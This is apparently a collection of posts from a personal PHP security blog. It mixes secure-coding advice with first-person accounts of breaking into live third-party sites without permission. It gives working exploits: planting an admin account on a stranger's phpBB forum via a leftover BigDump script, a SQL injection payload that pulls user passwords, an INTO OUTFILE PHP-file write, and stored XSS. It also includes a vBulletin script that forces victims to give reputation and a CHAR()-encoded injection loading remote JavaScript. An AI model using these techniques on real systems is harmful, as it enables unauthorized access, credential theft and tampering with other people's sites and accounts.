BigDump, big goof!
I just had to import a big database, and I used BigBump for that.
My dirty mind immediately thought, how many people do actually leave the script on the server after importing their databases? Turns out, a lot.
Now that’s pretty careless, but hey, their loss is my gain. Pretty quickly I found my first victim: A phpBB board. I always used to be more of a vBulletin guy, and since I have no experience with that particular software (as to what hashing algorithm, salts, etc, it uses), I figured I’d just download it and install it locally. After doing so, I went to my phpMyAdmin, and exported the users table, which only had two users in it. My new admin account, and some random ‘Anonymous’ account, which makes no sense to me without further investigating, but I don’t care enough at this point.
I just removed said account from the exported .sql file, leaving only my account in it. I changed the user ID to some ID the forum wasn’t likely to have already. Seeing as the forum has 1500 something users, so I just used the ID 2000, considering it probably has some banned users which are not counted. Make sure the user group ID is set to 5, otherwise you won’t be admin.
I grabbed the file, uploaded it via BigDump to the server, and hit ‘Start import’. Since it was a single query only, it went rather fast.
I went back to the forums, and logged in, using the moniker and password I picked during the local installation. Directly after logging in, the forum showed me a link at the bottom to the admin control panel… Success!
It was unbelievably easy, and yet it’s a very dangerous attack!
If I wanted, I could change anyone’s password, and log into their account. I could delete whole accounts, and what not…! I can run any MySQL query I want to, UPDATE, DELETE, DROP, etc…
On a further note, older versions of BigBump (v.0.28b, I believe) use eregi() instead of preg_match() for the file name validation. And since eregi() is not binary safe, you probably could just prepend a null character (\0) to the file name, and upload .php files this way. It’s only theory, though, as I haven’t actually tried it.
And on a last note, you may be able to create .php files with your own code using native SQL.
SELECT '<?php echo \'hi there\'; ?>' INTO OUTFILE '../../public_html/hacked.php'
MySQL isn’t very likely to have permissions to write to that directory, but it’s worth a shot.
Client-side password hashing before log-in.
UPDATE: This method protects your password (slightly, at least), but it does not protect user accounts on the forum. If someone *sniffed* your password hash, it could just be captured and resent to the server it was gathered from, along with your user name. The forum would not know whether the hash was directly submitted, or if your Javascript code created it before logging in.
I’ve seen vBulletin doing this, and I thought it was very interesting.
What they do is, they hash the user password using JavaScript before logging in. How MD5 hashing works is no secret. And not even reverse engineering the code that generates these hashes will make them “decryptable”. But I don’t want to get into this now. What I’m saying is, that JavaScript can create valid MD5 hashes, just like PHP would do. And we can take advantage of this to make our systems a little more secure.
Here’s an example JavaScript code that creates MD5 hashes:
http://github.com/kvz/phpjs/raw/master/functions/strings/md5.js
If the user has JavaScript enabled on his browser, vBulletin converts his password as soon as the form is being submitted, and removes the value from the original password field. So that only the hashed password will be sent to the server.
POST /forums/login.php?do=login HTTP/1.1
Host: www.xxxxxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: […]
Accept: text/html,application/xhtml+xml,application/xml;q=0.8 […]
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xxxxxx.com/forums/index.php
Cookie: [ … ]
Content-Type: application/x-www-form-urlencoded
Content-Length: 198
vb_login_username=Nico&cookieuser=1&vb_login_password=&s=&securitytoken=guest&do=login&vb_login_md5password=577********************f03d&vb_login_md5password_utf=577******************f03d
This is an example request that my browser sends to the server. As you can see, my password is only being sent in form of MD5 hashes. No trace of the real password!
So why are they doing this you might ask?
Security is the obvious answer. If you’re not connected to the server using a secure (SSL) protocol, your request is being sent “as is”, meaning PLAIN TEXT, and can be seen by others, using certain packet analyzing or HTTP sniffing tools.
Since SSL certs are not always an option, and sometimes a little pricey too… And since I’m yet to see a message board actually using a secure log-in system, I find this method rather interesting. I’m by no means trying to say that this method is anywhere as secure as SSL connections, or that it can replace them.
Implementing this method into existing log-in systems might be a little bit difficult or even impossible if you’re using “salts” or anything besides just MD5.
However, In case you’re interested, here’s an example on how to use this method in your own forms.
<script type="text/javascript" src="http://github.com/kvz/phpjs/raw/master/functions/xml/utf8_encode.js"></script>
<script type="text/javascript" src="http://github.com/kvz/phpjs/raw/master/functions/strings/md5.js"></script>
<script type="text/javascript">
<!--
function pwd_handler(form)
{
if (form.password.value != '')
{
form.md5password.value = md5(form.password.value);
form.password.value = '';
}
}
//-->
</script>
<form action="login.php" method="post" onsubmit="pwd_handler(this);">
<input type="text" name="username" />
<input type="password" name="password" />
<input type="hidden" name="md5password" value="" />
<input type="submit" value="Log in" />
</form>
The md5() function from phpjs relies on their utf8_encode() function as well, so we must include it.
The above code looks pretty much like most log in forms, except that I’ve added a hidden field called “md5password”, which will later hold the hashed password. And I’ve added an “onsubmit” handler to the <form> tag.
The JavaScript code does the same as vBulletin’s does. It prevents the original password from being sent (meaning it removes its value), and instead it includes an MD5 hash of it.
Please note that this only works if the user has JavaScript enabled. So on the server-side, we cannot rely on the password being hashed. We have to check for it.
In this example I’m assuming you’re only using MD5 without salts or any other ingredients on your user’s passwords.
<?php
$username = $db->escape_string((string) $_POST['username']);
$query = $db->query("
SELECT `username`, `password`, `salt`
FROM `users`
WHERE `username` = '{$username}'
");
if (!$userinfo = $query->fetch_assoc())
{
// Error... user not found
}
else
{
if ((!empty($_POST['md5password']) AND $_POST['md5password'] == $userinfo['password']) OR
(!empty($_POST['password']) AND md5($_POST['password']) == $userinfo['password']))
{
// Success... user logged in
}
else
{
// Wrong password
}
}
?>
Please also note that this code is for reference only. A simple copy and paste will not work. Furthermore, I cannot provide many more examples as the password hashing can be done in too many ways. But I’ll post one more for vBulletin-a-like systems where a custom salt is being used:
if ((!empty($_POST['md5password']) AND md5($_POST['md5password'] . $userinfo['salt']) == $userinfo['password']) OR
(!empty($_POST['password']) AND md5(md5($_POST['password']) . $userinfo['salt']) == $userinfo['password']))
{
// Success... user logged in
}
Make sure you’ve previously selected the user’s salt from the database and it’s present in the $userinfo array.
As I said earlier, implementing this method into your existing log-in system might be impossible. It all depends on how you’ve been handling the passwords from the beginning.
Questions?
Dear “CyD Software Labs”…
CyD Software Labs claim themselves “WEB security specialists”.
Sounds great… so I decided to look at the stuff they’re actually doing. After a short while, I stumbled up on this post about Cross Site Scripting (XSS).
While they make a good point about HTML entities, they’re completely forgetting SQL injections. The code they’re suggesting to prevent Cross Site Scripting is completely worthless, considering I can exploit their SQL query. I can still inject any HTML code, as if htmlspecialchars() never existed in their code.
$username= htmlspecialchars($_GET['username']);
$message= htmlspecialchars($_GET['message']);
$result=mysql_query("INSERT INTO minibbtable_posts
VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)");
I mean,… seriously? That’s all you have to suggest? This post is probably still from the PHP 4 days, when Magic Quotes were enabled by default, but still… this suggestion is more than ridiculous. Especially for a “WEB security specialist”.
Since they don’t suggest mysql_real_escape_string(), I can insert single quotes into the query, and manipulate it that way. (For more information, I posted about this type of exploit a while ago here.)
They are however suggesting to apply htmlspecialchars() on the input, AND the output, which is pretty stupid, because it’ll result in ugly output to the user. This method does not prevent code injection, but it prevents the code from executing on the client’s side. That means I can save valid HTML in their database, but it won’t be executed by the client because it’s being converted to HTML entities.
But there are other types of attacks I can execute using the exploit. What if I’m not interested in the user’s cookies, or redirects to spam sites, or anything else JavaScript can do? What if I inject a sub-query that selects user passwords and adds them to my posts?
It’s as easy as inserting something like this into the “Name” field of their page:
’, (SELECT `password` FROM `users` WHERE `userid` = 1), 1, 1, 1) #
This can be way more harmful than any XSS attack. Allowing me to insert JavaScript can give me some options to steal user information, and maybe even hijack their sessions by stealing their cookies and what not.
But in all honesty, why bother coding a script that can steal user’s cookies and save them on another server, when I can get their info directly and more accurately?
There are some parts of their code that needs to be analyzed before continuing:
They’re for example using a mysql_query() call without error control. Meaning, there’s no “OR die(mysql_error())”. That’s good for them, and bad for us. Since we’re not getting any useful errors, it can be hard to inject code as we don’t know what we’re really doing. However, there are still thousands of sites using proper error control, and most of them naively show the error to the user too.
Another thing is that we usually don’t see is the actual code behind the user interface, so we don’t necessarily know how many fields we need to insert into the database. In this example, they’re inserting data into 4 columns before the user name and the message, and more data into 3 columns after that:
INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)
The data before the message ($message) is rather unimportant, as we inject code right after it. What we need to know is how many fields there are after it, as they might be required (can’t be empty). Obviously, when injecting code we start with the minimum amount of columns.
We’re first closing the initial single quote by inserting another one. Thus, resulting in a query like:
INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, ''
Now we add a comma, and then the actual SQL code we want to execute. This could be a SELECT sub-query, or a CHAR() call to write characters which would usually be converted by htmlspecialchars().
INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]))
This query alone would be valid, but the rest of the original query is hard coded into the PHP script and we can’t modify it. So we have to tell MySQL to ignore it, by adding a # to the end.
INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...])) #
Now the actual code will be send to the database like this:
INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...])) #', '$message', 1, 1, 1)
In SQL, the # character stands for a command. Meaning it’s “just” information for the programmer, and therefore ignored by MySQL.
However, in this case, the three 1s are unknown fields that can’t be empty. So we’re getting an error like this:
Column count doesn’t match value count at row 1
This error means we’re inserting less (or more) columns than required. From there we keep adding more, until it works.
INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1) #
(Note the 1 after the SELECT sub-query. This would still produce the same error as we’re not yet inserting the required amount of fields.)
INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1, 1) #
(Still no luck… keep trying, and add one more field.)
INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1, 1, 1) #
Bingo…
Most of the times, hacking involves trying. You can’t always know everything.
I’m aware that they’re also addressing htmlentites() and htmlspecialchars()’s “quote style”, but they’re neither using it in their code, nor do they say how dangerous it is not to use these functions.
Not sure what exactly makes them think they’re WEB security specialists, but this post proves pretty much the opposite. It’s just giving their readers a false sense of security.
Some common PHP security pitfalls…
… and how to exploit them.
Chapter One: Image uploading.
Allowing users to upload files to your server needs to be done carefully. Very carefully. If a user manages to upload a (PHP) script, they’ll be able to do pretty much anything with your server, including the database (if any).
Let’s assume for a moment that you only want to allow images to be uploaded. So how can you make sure the file is really an image? Some might say “Hey, there’s $_FILES[‘file’][‘type’], which holds the file’s content type.”
I’ve seen many people (INCLUDING w3schools!) relying on this value for verification. But not only comes this value directly from the CLIENT, it can also be easily modified/faked.
I could upload a PHP file with an image/jpeg content type, and it would pass the verification. Everyone’s site using the code from w3schools is vulnerable.
Don’t EVER rely on this value.
The first thing you should do, is validate the file extension. Only files that are parsed by the server (or the user’s browser) are dangerous to us. And by default, the server only parses certain files with certain extensions, such as .php, .asp, .pl, .py, etc… Depending on what you have installed.
Validating the extension is quite easy:
<?php
// Valid file extensions.
$valid_extensions = array('.jpg', '.jpeg', '.png', '.gif', '.tif', '.tiff');
// Get current file extension
$extension = strpos($filename, '.') !== false
? strrchr($filename, '.')
: 'none';
$extension = strtolower($extension);
if (!in_array($extension, $valid_extensions))
{
// Invalid file... throw error and DO NOT UPLOAD
}
else
{
// Everything is cool... continue.
}
?>
NOTE: Some servers parse .gif files by default. I’m not exactly sure why, but try it out to be on the safe side. Valid and normal looking GIF (as well as other) images can contain PHP code. So you don’t want to have those images parsed.
Secondly, you can use PHP’s image functions to verify if the file is an actual image. They’re not 100% bullet-proof, but it’s a fairly good start.
$type = @exif_imagetype($_FILES['image']['tmp_name']);
if (!$type OR !in_array($type, array(
IMAGETYPE_JPEG,
IMAGETYPE_GIF,
IMAGETYPE_PNG,
IMAGETYPE_TIFF_II,
IMAGETYPE_TIFF_MM
)))
{
// Invalid image... do not upload
}
else
{
// Everything's cool
}
If you don’t have the EXIF extension installed, use getimagesize().
As I said, this is not 100% bullet-proof, meaning this can be exploited as well. But it’s a very good start.
Another option:
Upload the files to a non-public directory. The user needs to access the file using his browser in order to execute it. And this is impossible if the file is outside the public directory.
If you need to display the images at some point to the user, use a PHP script to read the file’s contents. This way they won’t be parsed and can’t cause trouble.
$file = '/path/to/some/file.jpg';
if ($type = @exif_imagetype($file))
{
header('Content-Type: ' . image_type_to_mime_type($type));
readfile($file);
}
else
{
// Error, not an image...
}
Another safe, but “not-so-optimal” option is storing the file in a BLOB field in the database. I wouldn’t suggest doing this if you plan on storing a lot of images, though.
And last, I highly suggest you to read this PDF from Scanit. It’s a good and mind opening read. (It also contains a Perl script which allows custom content types).
Chapter Two: HTTP header redirects.
This is one of the things I’ve seen too many times as well. People have protected areas on their pages which require some kind of authentication. If the users fails to be authenticated, they’re redirected to the log-in page. Usually, there’s nothing wrong with that. But a lot of people seem to forget to EXIT their script after redirecting.
The browser follows the redirect header for your COMFORT. It’s just a function and can be disabled easily. And if you do not exit the script, it’ll continue to run, meaning, the user will be able to see the output even after sending the header.
I’ve exploited this here, for example. And even ImperialBB was vulnerable to this a few years ago, before i reported the issue. I was able to see protected administrator forums.
BAD:
if (empty($_SESSION['userid']))
{
header('Location: login.php');
}
GOOD:
if (empty($_SESSION['userid']))
{
header('Location: login.php');
exit;
}
http://www.php.net/exit
http://www.php.net/header
Chapter Three: Cross site scripting (XSS).
Another thing I see on a daily basis:
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
I won’t even lie, I was guilty of doing this too in my early PHP days. Until I learned that I could append JavaScript to the URL in the address bar, and it would be injected directly into the page I was on.
example.com/page.php/<script>alert(‘XSS’);</script>
… the above is a valid URL, and PHP_SELF would contain this bit of JavaScript. Needless to say, this alert() is harmless, but I could inject any code, and this could be potentially harmful.
Some sites use .htaccess to block requests that contain <script> tags. But in some cases, this can be bypassed by adding for example type=”text/javascript” to the tag. If you’re already using this attribute, try again without it. It all depends on how weak the regex they’re using is.
Solution? It’s even easier than any line of code… It’s as simple as leaving the action=”” attribute in BLANK! This will force the browser to submit the page to itself. Exactly as PHP_SELF would do.
<form action="" method="post">
Cross site scripting goes a lot further than that, though. But I’m only going to cover this as of now, ‘cause it’s probably the mistake I see the most. You might want to take a look at this post, if you haven’t already.
Chapter Four: Email header injection.
Another common one:
mail(
'to@address.com',
'Some subject',
'Some message',
"From: {$_POST['email']}"
);
I’ve seen this a lot in contact forms. Assuming $_POST[‘email’] is unfiltered, I would be able to inject CC/BCC headers, and thus, allowing me to send emails to anyone I wanted using your server. Now if I had some spare Viagra, or a certain “enlargement” service, I could make good use of this.
Make always sure the email is valid, and does not contain new lines or carriage returns. Just because it contains an @, it doesn’t mean it’s a valid email (apparently some people think it does).
Here’s a good one:
function is_valid_email($email)
{
return (bool) preg_match(
'~^([^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c' .
'\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+|\\x22([^\\x0d' .
'\\x22\\x5c\\x80-\\xff]|\\x5c[\\x00-\\x7f])*\\x22)' .
'(\\x2e([^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e' .
'\\x3a-\\x3c\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+|' .
'\\x22([^\\x0d\\x22\\x5c\\x80-\\xff]|\\x5c\\x00' .
'-\\x7f)*\\x22))*\\x40([^\\x00-\\x20\\x22\\x28' .
'\\x29\\x2c\\x2e\\x3a-\\x3c\\x3e\\x40\\x5b-\\x5d' .
'\\x7f-\\xff]+|\\x5b([^\\x0d\\x5b-\\x5d\\x80-\\xff' .
']|\\x5c[\\x00-\\x7f])*\\x5d)(\\x2e([^\\x00-\\x20' .
'\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c\\x3e\\x40' .
'\\x5b-\\x5d\\x7f-\\xff]+|\\x5b([^\\x0d\\x5b-' .
'\\x5d\\x80-\\xff]|\\x5c[\\x00-\\x7f])*\\x5d))*$~',
);
}
(I don’t take credit for that regex. Can’t remember where I got it from.)
To be continued…
Dreamweaver CS4 and PHP 5.3 code highlighting.
Dreamweaver CS4 was released in late 2008, when a lot of PHP 5’s functions weren’t available yet (especially PHP 5.3’s stuff). Needless to say, those functions/constants, and language constructs won’t be highlighted properly. But luckily, this is easy to fix.
There’s an XML file located at:
C:\Program Files\Adobe\Adobe Dreamweaver CS4\configuration\CodeColoring\PHP.xml
Or %programfiles%\Adobe\Adobe Dreamweaver CS4\configuration\CodeColoring\PHP.xml
…which holds all keywords, and we can just add our own.
I’ve created my own file with all (or at least most) missing stuff. Including PHP 5.3’s namespaces, new functions, constants etc. I’ve also included the cURL constants which were missing, MySQLi, and what not.
You can download the file here.
Backup your old file, and replace it with the new one. You must restart Dreamweaver after making the changes!
This file works for PC and Mac, by the way.
On a further note, I’ve actually written a PHP script running on PHP 5.3.1 to generate big part of this file. Thanks to get_defined_functions() and get_defined_constants(), I probably didn’t miss a whole lot. If I did, let me know.
It’s time again… exit;
As most of you probably don’t know, I work in a real estate agency. So every now and then I search for new websites where I can upload our properties to.
Recently I came across bancodecasas.com
When I first saw the site, I already had the feeling that something wasn’t quite right with it.
The site allows you to upload up to 8 images per property. So basically, you have 8 steady slots for images, whether they contain images or not, they’re there. If one of the slots is empty, the site shows a default image, which is just a placeholder. Well that was the idea, but the paths to the default images were wrong, so Firefox was unable to display these images. Not very professional, I thought to myself. There are also buttons to delete the images. If I click the button, I get a PHP error:
Warning: unlink(../images/mgrafico/noimagen.jpg) [function.unlink]: No such file or directory in /home/xxxxxxxxxx/xxxxxxxx/xxxxxxxxxx.xxx/public_html/userspanel/eliminarimg3.php on line 17
That, is what I call a major logic error in the script. First off, there shouldn’t be a “delete button” if there’s no image. And second, I (as user) shouldn’t be able to delete any images except my own. They also had a separate PHP file for each image. Meaning, “eliminarimg1.php” would delete the first image, “eliminarimg2.php” the second, etc… I found this fairly unprofessional too, from a technical point of view.
This is where it started getting suspicious. If there are silly errors like this, there must be some security related errors as well.
I went to the page where you can modify your uploaded properties. The URL in the address bar held the ID of my property. My first thought was, okay, what if I change the ID to some other ID, which would be the one of a property that I didn’t upload.
I picked a random ID and tried it out, but the site redirected me to the main page instead of showing me the property. I was a little surprised they thought of checking for this at all. But I went a step further…
What if I disabled HTTP redirects? I’m assuming they’re simply using a header(‘Location: xxx’) redirect if the property doesn’t appear to be mine.
I disabled redirects, and voila, I was able to see and edit other properties.
Wait, what happened here?
They verify if the property with ID (given by URL) belongs to the current user (they’re using simple PHP sessions to identify them). If the property doesn’t belong to the user, they send a new Location header which redirects the browser to a new page.
Something like this:
if ($property['userid'] != $_SESSION['userid'])
{
header('Location: xxxxx');
}
The header() function only sends a new location to the browser. But the browser behaves the way I want it to, and I can tell it to stop following those redirects.
Besides, header() does not stop the code execution. The rest of the code continues running after sending the header. Usually the browser redirects fast enough, before anyone would notice, though.
So I think what I’ve done here is getting obvious. I disabled HTTP redirects on my browser, and was able to see the actual page because nothing prevented the code from continuing after sending the redirect.
What they should have done is as simple as an exit() or die() call after the header() call. Yup, it’s that easy.
WAIT, I’m not done yet with this site!
They have one of those fancy WYSIWYG editors for the description of the property (TinyMCE, if you must know). Next, I checked if I was able to inject JavaScript code somewhere. I typed some code into the editor, saved, and checked what happened. Looks like my input is being converted to HTML entities, and therefore useless once saved.
But I didn’t give up here. I figured that perhaps TinyMCE is actually the guilty converter. I popped up Firebug, and changed the fancy editor back to a regular <textarea> field. Once again I typed in some code, hit save, and… SUCCESS! I’m now able to inject an unlimited amount of JavaScript code!
I mentioned once before that trusting the user when it comes to input, isn’t a good idea. And this post confirms it.
Don’t. Ever. Trust. The user.
Fun with JavaScript injection.
UPDATE: Now that I’ve patched the exploit, you might no longer be able to inject your code. So in this post I’ll just assume that you’ve found your way to inject code and are curious as to what you can do now.
Now that we can inject JavaScript into our posts, why not have some fun with it?
How about we make some users give us some reputation? I wrote some functions which make this quite easy.
This is only a part of a class I wrote, and I’m not going to post it all (as of now).
this.getUserId = function()
{
// Check vB cookie first
var vbcookie = readCookie(COOKIE PREFIX + 'userid'); // You need to find out the prefix by yourself.
if (vbcookie !== null)
return parseInt(vbcookie);
// Check for custom cookie
var userid = readCookie('_u');
if (userid !== null)
return parseInt(userid);
// Is on a page without tools menu.
if (!document.getElementById('usercptools_menu'))
return 0;
var links = document.getElementById('usercptools_menu').getElementsByTagName('a');
var total = links.length;
for (var i = 0; i < total; i++)
{
var result = links[i].href.match(/member\.php\?u=(\d+)/);
if (result && result[1])
{
createCookie('_u', result[1], 365); // Cookie for faster and safer access next time.
return parseInt(result[1]);
}
}
return 0;
}
This code attempts to get the current user’s ID whenever possible, so we can filer the users. Meaning we can decide which users we want to “attack”.
The cookie functions I’m using can be found here.
So, now that we can chose the affected users, let’s make them “rep” us. I’m not going to explain the whole code. If you understand it, you’ll see what changes you’re gonna have to make. Otherwise you probably shouldn’t be reading this blog in first place.
window.onload = function()
{
var userid = this.getUserID();
if (userid != 0 && [array, of, ids].indexOf(userid) == -1)
{
var rep = document.getElementsByTagName('a');
var images;
for (var r = 0; r < rep.length; r++)
{
if (rep[r].href && rep[r].href.indexOf('reputation.php') != -1)
{
images = rep[r].getElementsByTagName('img');
if (images && images[0] && images[0].title && images[0].title.indexOf('Add to XXXXX\'s R') != -1)
{
id = rep[r].id.substr(rep[r].id.lastIndexOf("_") + 1);
var A = vBrep.reps[id];
if (A.vbmenu == null)
A.populate();
else
{
if (vBmenu.activemenu != A.vbmenuname)
A.vbmenu.show(fetch_object(A.vbmenuname));
else
A.vbmenu.hide();
}
window.setTimeout('submit_Rep()', 1000);
break;
}
}
}
delete rep;
}
}
function submit_Rep()
{
var reason = document.getElementsByName('reason');
if (!reason && !reason[0])
return window.setTimeout('submit_Rep()', 1000);
reason[0].value = 'Message goes here';
var A = vBrep.reps[id];
A.submit();
}
This will make users “rep” you, whether they want to or not. Although, they will probably get annoyed, because this will attempt to give reputation every time they open one of the threads you replied to. We could easily set a cookie to only make them rep you once a week or something. But I’ll leave that up to you. I’ve done the most difficult part for you already.
Happy experimenting.
Unwanted promotion.
UPDATE: I’ve patched this exploit using my newly acquired admin powers. It will no longer work. So don’t waste your time! ;p
There’s another section on this site, where users can upload their music to promote it.
On the front page of the forum, there are the top 5 songs of the month. (The 5 most played songs).
In the user CP, there’s a form where you can upload your MP3, and add a title, album, and track number. And yet again, the user input wasn’t being escaped at all. I figured this out quickly by only entering a single quote into one of the fields, and receiving this error:
Invalid SQL:
UPDATE profile_audio SET title = ''', album = '',tracknumber = '00' WHERE audioid = 'xxx';
Great! Again we have full write/UPDATE access to the whole “profile_audio” table. Now how to make use of this?
Remember I have full admin rights? So I went to the admin CP to see if I was able to find useful information about the audio table. It didn’t take me long to find a list of all uploaded MP3s, including their information. There was one column called “Views per month”, and it took me about 3 guesses to find out that the actual field name in the database was “viewsmonth”.
Now let’s try to update this value using the exploit.
The user input was limited to 30, but yet again on the client-side only. I opened my best friend Firebug and removed this: maxlength=”30”
UPDATE `profile_audio`
SET title='', `viewsmonth` = 5000
WHERE `audioid` = xxx
Yes, it’s that easy. Now my song is on the front page, and first in the list. But that’s not all. This exploit would also allow me to inject JavaScript into the front page, as explained here.
If I had malicious intentions, I could really mess things up now.
Don’t ever trust the user… he might be a cunt!
I’m still on the same message board, and I’m still looking for useful exploits.
I think the only things that keeps me motivated are boredom, and the fact that there are so many exploits.
Here’s a new one.
There are two plug-ins that work together. A public gallery (PhotoPost), and a custom add-on by the admin, which allows users to customize their post area. You can set a custom background image, colors, border, font, etc…
If you want to set a background image, you have to upload it to the gallery, and it’ll be shown later in a list in his custom add-on where you can pick it. What I didn’t like about this is that only images below 80kb are shown. That’s not very much if you want to use an animated GIF.
But to my luck, he trusted me (the user) too much again. I uploaded the image I wanted to the gallery, which was around 200kb. I opened the image in the gallery and copied its ID from the URL.

Then I went back to the control panel where I can chose the images. Needless to say, the image I uploaded didn’t show because it was too big. So I took a look at the source code, and found this:
<input name="bg_image" type="radio" value="3745" />
So I opened up Firebug again, and replaced the ID with the ID I copied earlier. And I added a “checked”.
<input name="bg_image" type="radio" value="new ID" checked="checked" />
I minimized Firebug, hit the submit button, and there we go. Size limit bypassed successfully.
So what went wrong here?
The admin selected the images on the server-side, and made the script display only images under 80kb. That means the user receives a list of images he wants to allow. But somehow, the user has to post back the ID of the image they selected, so it can be saved in the database.
And here is where a second check should have been done. Get the ID the user submitted, and look it up in the database, and then check the size of the image AGAIN. Only this would have prevented this.
htmlspecialchars() doesn’t prevent JavaScript injection.
In this post, I’ll be using the same exploit as in the last post.
Yet again, the user input wasn’t being escaped using mysql_real_escape_string(). I figured this out the same way I always do, by entering a single quote and receiving a MySQL error about an invalid syntax.
However, htmlspecialchars() with default quote style ENT_COMPAT was applied. This results in my input being converted to HTML entities. Well, most of it whatsoever. Fortunately, the most important character, in terms of exploiting SQL queries, remains untouched. And thus being the single quote; ‘
Applying ENT_QUOTES could have prevented this, as it converts single quotes as well. But apparently this is unknown to most programmers.
Allowing me to insert unescaped single quotes into SQL queries allows me to exploit/modify them. And thanks to a little trick, it even allows me to insert HTML or even Javascript code.
What happens when htmlspecialchars() is applied, is that “<” becomes < … “>” becomes > … etc… which usually would prevent code injection.
But in this case we’re injecting our code directly into an SQL statement. That means we can let native SQL write those characters. The CHAR() function does exactly that.
CHAR(60) equals <
CHAR(62) equals >
CHAR(34) equals “
There’s a complete reference on http://www.asciitable.com/
And it can be used like this:
UPDATE `user` SET `usertitle` = CONCAT(
CHAR(60), 'script src=', CHAR(34), 'http://source.com/src.js',
CHAR(34, 62, 60), '/script', CHAR(62)
)
WHERE `userid` = xxx
Which will be equivalent to:
<script src="http://source.com/src.js"></script>
If the user input would have been escaped properly, I wouldn’t have been able to modify the SQL query, and I wouldn’t have been able to inject my code.
Read PHP’s mysql_real_escape_string() manual… DO IT!